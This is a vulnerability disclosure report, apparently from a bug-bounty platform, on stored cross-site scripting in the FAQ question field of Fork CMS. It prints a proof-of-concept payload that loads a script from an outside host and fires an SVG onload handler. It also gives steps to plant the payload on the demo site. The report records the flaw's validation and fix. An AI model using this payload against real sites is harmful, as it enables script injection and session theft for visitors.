Cross-site Scripting (XSS) - Stored in forkcms/forkcms

Valid

Reported on

Oct 19th 2021


Description

XSS in the question asking session feedback page

Proof of Concept

Hi'>"<script src=//xss.mx></script><x="{9*9}\r\n%0A%09%0D<svg\onload=confirm(1)>

link https://demo.fork-cms.com/private/en/faq/edit?token=u1xyihius6&id=1 paste the payload in the question section and view the question in link

Impact

custom javascript code execution , session stealing etc

We have contacted a member of the forkcms team and are waiting to hear back 7 months ago
Ajmal Aboobacker modified the report
7 months ago
Jelmer Prins validated this vulnerability 7 months ago
Ajmal Aboobacker has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jelmer Prins confirmed that a fix has been merged on 76bf73 2 months ago
Jelmer Prins has been awarded the fix bounty
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